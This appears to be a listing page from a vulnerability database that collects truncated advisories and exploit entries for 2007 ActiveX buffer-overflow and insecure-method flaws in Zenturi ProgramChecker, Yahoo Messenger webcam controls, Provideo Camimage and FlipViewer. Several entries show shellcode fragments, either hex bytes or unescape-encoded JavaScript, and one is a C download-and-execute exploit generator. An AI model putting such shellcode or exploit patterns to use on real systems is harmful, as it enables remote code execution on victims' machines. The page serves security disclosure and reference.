Zenturi ProgramChecker - ActiveX Multiple Insecure Methods

Zenturi ProgramChecker - ActiveX Multiple Insecure Methods ----------------------------------------------------------------------------- Zenturi ProgramChecker ActiveX Control Multiple Insecure Methods url: http://www.programchecker.com/activeintro.aspx author: shinnai mail:...

Yahoo Messenger Webcam Viewer ActiveX control buffer overflow

Added: 06/08/2007 CVE: CVE-2007-3148 BID: 24355 OSVDB: 37081 Background Yahoo! Messenger is an instant messaging application. It includes the Webcam Viewer ActiveX control which is provided by ywcvwr.dll. Problem A buffer overflow vulnerability in the Yahoo! Messenger Webcam Viewer ActiveX contro...

Zenturi ProgramChecker - ActiveX NavigateUrl() Insecure Method

Zenturi ProgramChecker - ActiveX NavigateUrl Insecure Method ----------------------------------------------------------------------------- Zenturi ProgramChecker ActiveX Control "NavigateUrl" Insecure Method url: http://www.programchecker.com/activeintro.aspx author: shinnai mail:...

Yahoo! Messenger Webcam 8.1 - 'Ywcupl.dll' Download / Execute

/ Compile in LCC-win32 Free! Download and exec any file you like! Have Fun! / include include include char file = "Clickhere.html"; FILE fp = NULL; unsigned char sc = "\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03"...

Yahoo Messenger Webcam Viewer ActiveX control buffer overflow

Added: 06/08/2007 CVE: CVE-2007-3148 BID: 24355 OSVDB: 37081 Background Yahoo! Messenger is an instant messaging application. It includes the Webcam Viewer ActiveX control which is provided by ywcvwr.dll. Problem A buffer overflow vulnerability in the Yahoo! Messenger Webcam Viewer ActiveX contro...

Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow

This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX Control ywcupl.dll provided by Yahoo! Messenger version 8.1.0.249. By sending an overly long string to the "Server" method, and then calling the "Send" method, an attacker may be able to execute arbitrary code. Using...

Buffer overflow

Buffer overflow in the Provideo Camimage ActiveX control in ISSCamControl.dll 1.0.1.5, when Internet Explorer 6 is used on Windows 2000 SP4, allows remote attackers to execute arbitrary code via a long URL property value...

CVE-2007-3111

Buffer overflow in the Provideo Camimage ActiveX control in ISSCamControl.dll 1.0.1.5, when Internet Explorer 6 is used on Windows 2000 SP4, allows remote attackers to execute arbitrary code via a long URL property value...

CVE-2007-3111

CVE-2007-3111 describes a boundary/URL property handling error in the Provideo Camimage ISSCamControl.dll ActiveX control (version 1.0.1.5). The CPAI advisory states a remote attacker could lure a user to a crafted HTML page to trigger a buffer overflow, enabling remote code execution on Windows ...

CVE-2007-3111

Buffer overflow in the Provideo Camimage ActiveX control in ISSCamControl.dll 1.0.1.5, when Internet Explorer 6 is used on Windows 2000 SP4, allows remote attackers to execute arbitrary code via a long URL property value...

Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow

Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow shellcode = unescape"%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +...

Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow (2)

Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow 2 This affects the viewer ywcvwr.dll with yahoo messenger latest version tested. Fixed bug in last post x=0;xi shellcode = unescape"%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +...

Yahoo! Messenger Webcam 8.1 ActiveX Remote Buffer Overflow Exploit 2

Exploit for unknown platform in category remote exploits ==================================================================== Yahoo! Messenger Webcam 8.1 ActiveX Remote Buffer Overflow Exploit 2 ==================================================================== This affects the viewer ywcvwr.dl...

Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow

shellcode = unescape"%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +...

FlipViewer FlipViewerX.dll ActiveX控件多个栈溢出漏洞

FlipViewer是用于阅读FlipBooks电子书的阅读器。 FlipViewer的ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用控制用户机器。 FlipViewer的FlipViewerX.dll库所提供的FViewerLoading ActiveX控件在处理UID、Opf、PAGENO、LaunchMode、SubID、BookID、LibraryID、SubURL和LoadOpf属性时存在多个栈溢出漏洞。如果用户受骗访问了恶意站点并向这些属性传送了超长参数的话，就可能触发溢出，导致执行任意指令。 E-Book Systems FlipViewer 4.0...

Yahoo! Messenger Webcam 8.1 ActiveX Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ================================================================== Yahoo! Messenger Webcam 8.1 ActiveX Remote Buffer Overflow Exploit ================================================================== shellcode =...

zenturi-overflow.txt

------------------------------------------------------------------------ Zenturi ProgramChecker ActiveX sasatl.dll Remote Buffer Overflow PoC url: http://www.programchecker.com/activeintro.aspx original advisory: http://secunia.com/advisories/25473/ Will Dormann, CERT/CC, is credited with the...

FlipViewer ActiveX Control < 4.1 Buffer Overflow Vulnerabilities

The Windows remote host contains the FlipViewer ActiveX control, which is used for viewing electronic documents. The version of this ActiveX control on the remote host reportedly contains multiple stack-based buffer overflow vulnerabilities. A remote attacker may be able to leverage these issues ...

Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow (2)

This affects the viewer ywcvwr.dll with yahoo messenger latest version tested. Fixed bug in last post x=0;xi shellcode = unescape"%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +...

Stack overflow

Multiple stack-based buffer overflows in the FViewerLoading ActiveX control FlipViewerX.dll in E-Book Systems FlipViewer before 4.1 allow remote attackers to cause a denial of service crash or execute arbitrary code via long 1 UID, 2 Opf, 3 PAGENO, 4 LaunchMode, 5 SubID, 6 BookID, 7 LibraryID, 8...